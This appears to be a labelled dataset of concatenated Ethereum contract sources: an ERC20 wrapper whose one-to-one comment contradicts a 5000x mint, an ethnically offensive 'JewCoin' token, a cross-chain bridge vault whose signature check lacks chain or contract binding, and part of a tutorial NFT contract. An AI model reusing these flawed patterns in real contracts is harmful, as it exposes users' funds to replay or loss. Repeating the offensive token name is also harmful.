function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/Liti/wrappedLiti.sol
pragma solidity >=0.7.0;
contract wLitiCapital is ERC20 {
address litiAddress;
event Wrapped(address user, uint256 amount);
event Unwrapped(address user, uint256 amount);
constructor(address _litiAddress) ERC20("wLitiCapital", "wLITI") {
litiAddress = _litiAddress;
}
/*
* Receives {amount} of shares (LITI) and mint {amount} fo wLITI Token
* the conversion is one to one but the wrapped token has 18 decimal points.
*
* Emits {Wrapped} event
*
* Requirements:
* user account should ahev approved this contract to transfer
* the {amount} of shres from LITI token contract
*/
function wrap(uint256 amount) public {
IERC20 liti = IERC20(litiAddress);
require(liti.transferFrom(msg.sender, address(this), amount));
_mint(msg.sender, 5000 * amount * (10**18));
emit Wrapped(msg.sender, amount);
}
/*
* Burns {amount} of wLITI and transfer {amount} fo LITI to user
*
* Emits {unwrapped} event
*
* Requirements:
* user account should ahev approved this contract to transfer
* the {amount} of shres from LITI token contract
*/
function unwrap(uint256 amount) public {
_burn(msg.sender, 5000 * amount * (10**18));
IERC20 liti = IERC20(litiAddress);
require(liti.transfer(msg.sender, amount));
emit Unwrapped(msg.sender, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-13
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract JewCoin is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "JewCoin";
symbol = "JEW";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-27
*/
// File: Context.sol
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: IERC20.sol
pragma solidity ^0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: ECDSA.sol
pragma solidity ^0.6.12;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File: BridgeVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract TOKENVaultETH is Context{
using ECDSA for bytes32;
struct Cross {
uint256 nonce;
mapping (uint256 => uint256) amount;
}
mapping(address => Cross) private _transferIn;
mapping(address => Cross) private _transferOut;
IERC20 private TOKEN;
address private _validator;
constructor(IERC20 token, address validator) public {
TOKEN = token;
_validator = validator;
}
function vaultBalance() public view returns (uint256) {
return TOKEN.balanceOf(address(this));
}
function getNonceIn(address user) public view returns (uint256) {
return _transferIn[user].nonce;
}
function getNonceOut(address user) public view returns (uint256) {
return _transferOut[user].nonce;
}
function getAmountIn(address user, uint256 nonce) public view returns (uint256) {
return _transferIn[user].amount[nonce];
}
function getAmountOut(address user, uint256 nonce) public view returns (uint256) {
return _transferOut[user].amount[nonce];
}
function getValidator() public view returns (address) {
return _validator;
}
function setValidator(address validator) public {
require(_msgSender() == _validator, "Valut: Invalid Validator.");
_validator = validator;
}
function getHash(address user, uint256 nonce, uint256 amount) public pure returns (bytes32 hash) {
hash = keccak256(abi.encodePacked(user, nonce, amount));
}
function swapToBSC(uint256 amount) public virtual {
address user = _msgSender();
TOKEN.transferFrom(user, address(this), amount);
uint256 nonce = getNonceOut(user);
_transferOut[user].amount[nonce] = amount;
_transferOut[user].nonce++;
}
function swapFromBSC(uint256 amount, bytes memory signature) public virtual {
address user = _msgSender();
uint256 nonce = getNonceIn(user);
bytes32 hash = keccak256(abi.encodePacked(user, nonce, amount));
require(hash.recover(signature) == getValidator(), "Vault: Invalid transaction.");
_transferIn[user].amount[nonce] = amount;
_transferIn[user].nonce++;
TOKEN.transfer(_msgSender(), amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-29
*/
// SPDX-License-Identifier: MIT
// Amended by HashLips
/**
!Disclaimer!
These contracts have been used to create tutorials,
and was created for the purpose to teach people
how to create smart contracts on the blockchain.
please review this code on your own before using any of
the following code for production.
HashLips will not be liable in any way if for the use
of the code. That being said, the code has been tested
to the best of the developers' knowledge to work as intended.
*/
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
